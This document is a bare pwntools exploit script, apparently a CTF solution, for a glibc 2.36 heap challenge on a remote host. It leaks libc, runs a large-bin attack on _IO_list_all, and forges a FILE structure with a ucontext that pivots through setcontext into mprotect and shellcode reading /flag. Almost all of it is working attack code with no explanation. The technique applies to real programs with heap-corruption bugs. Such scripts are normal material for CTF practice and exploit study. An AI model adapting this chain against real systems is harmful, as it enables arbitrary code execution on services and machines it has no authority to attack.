1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163
|
from pwncli import *
filename = "pwn_patched" libcname = "/home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/libc6_2.36-0ubuntu4_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "nc1.ctfplus.cn" port = 44260 elf = context.binary = ELF(filename) context.terminal = ["tmux", "neww"] context.log_level = "debug" if libcname: libc = ELF(libcname) gs = """ b main b _IO_wfile_underflow set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/libc6-dbg_2.36-0ubuntu4_amd64/usr/lib/debug set directories /home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/glibc-source_2.36-0ubuntu4_all/usr/src/glibc/glibc-2.36 """
def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)
p = start()
s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rl = lambda x: p.recvline(x) inter = lambda: p.interactive()
def cmd(i): sla("choice: \n", i)
def add(idx, size, msg): cmd("1") ru("=>\n") s(str(idx)) ru("=>\n") s(str(size)) ru("=>\n") s(msg)
def edit(idx, msg): cmd("3") ru("=>\n") s(str(idx)) ru("=>\n") s(msg)
def show(idx): cmd("4") ru("=>\n") s(str(idx))
def dele(idx): cmd("2") ru("=>\n") s(str(idx))
p.recvrepeat(0.5) s("y")
ru(b"\x1B[0m") ru(b"\x1B[0m") sl("A" * 5)
add(0, 0x428, "AAA") add(1, 0x500, "AAA") add(2, 0x418, "AAA") add(3, 0x500, "AAA") dele(0)
add(4, 0x500, "B") show(0) libc_base = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x1f70b0 libc.address = libc_base leak_ex2(libc_base) ru(b'\x00\x00') ru(b'\x00\x00') fake_io_file = u64(r(6).ljust(8, b'\x00')) + 0x940 leak_ex2(fake_io_file)
edit(0, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20)) dele(2) add(5, 0x500, "C")
fake_IO_file_addr = fake_io_file chunk1 = libc.bss(0x300) fake_ucontext_addr = fake_IO_file_addr + 0x100 _IO_wide_data_1 = libc_base + 0x1f6980 _IO_wfile_jumps = libc.sym['_IO_wfile_jumps'] + 8
fake_IO_file = p64(0xffffffffffffffff) fake_IO_file += p64(0) * 2 + p64(1) fake_IO_file = fake_IO_file.ljust(0x30, b'\x00') fake_IO_file += p64(fake_IO_file_addr + 0x100) fake_IO_file = fake_IO_file.ljust(0x78, b'\x00') fake_IO_file += p64(chunk1 + 0x300) fake_IO_file = fake_IO_file.ljust(0x88, b'\x00') fake_IO_file += p64(fake_IO_file_addr + 0x40) fake_IO_file += p64(_IO_wide_data_1) fake_IO_file = fake_IO_file.ljust(0xc8, b'\x00') fake_IO_file += p64(_IO_wfile_jumps) fake_IO_file = fake_IO_file.ljust(0xf0, b'\x00') fake_IO_file += p64(0) fake_IO_file += p64(0) * 4 fake_IO_file += p64(libc.sym['setcontext'])
rdi = fake_ucontext_addr & ~0xfff rsi = 0x1000 rbp = fake_ucontext_addr + 0x100 rbx = 0 rdx = 7 rcx = 0 rax = 0 rsp = fake_ucontext_addr + 0x100 rip = libc.sym['mprotect']
ucontext = b'' ucontext += p64(0) * 7 ucontext += p64(rdi) + p64(rsi) ucontext += p64(rbp) + p64(rbx) ucontext += p64(rdx) + p64(rcx) ucontext += p64(rax) ucontext += p64(rsp) + p64(rip) ucontext = ucontext.ljust((0xe0 - 0x30), b'\x00') ucontext += p64(chunk1 + 0x1000) ucontext = ucontext.ljust((0x100 - 0x30), b'\x00')
shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm(shellcraft.cat('/flag'))
payload = fake_IO_file + ucontext + bytes(shellcode)
edit(2, payload) pause() cmd('5')
p.interactive()
|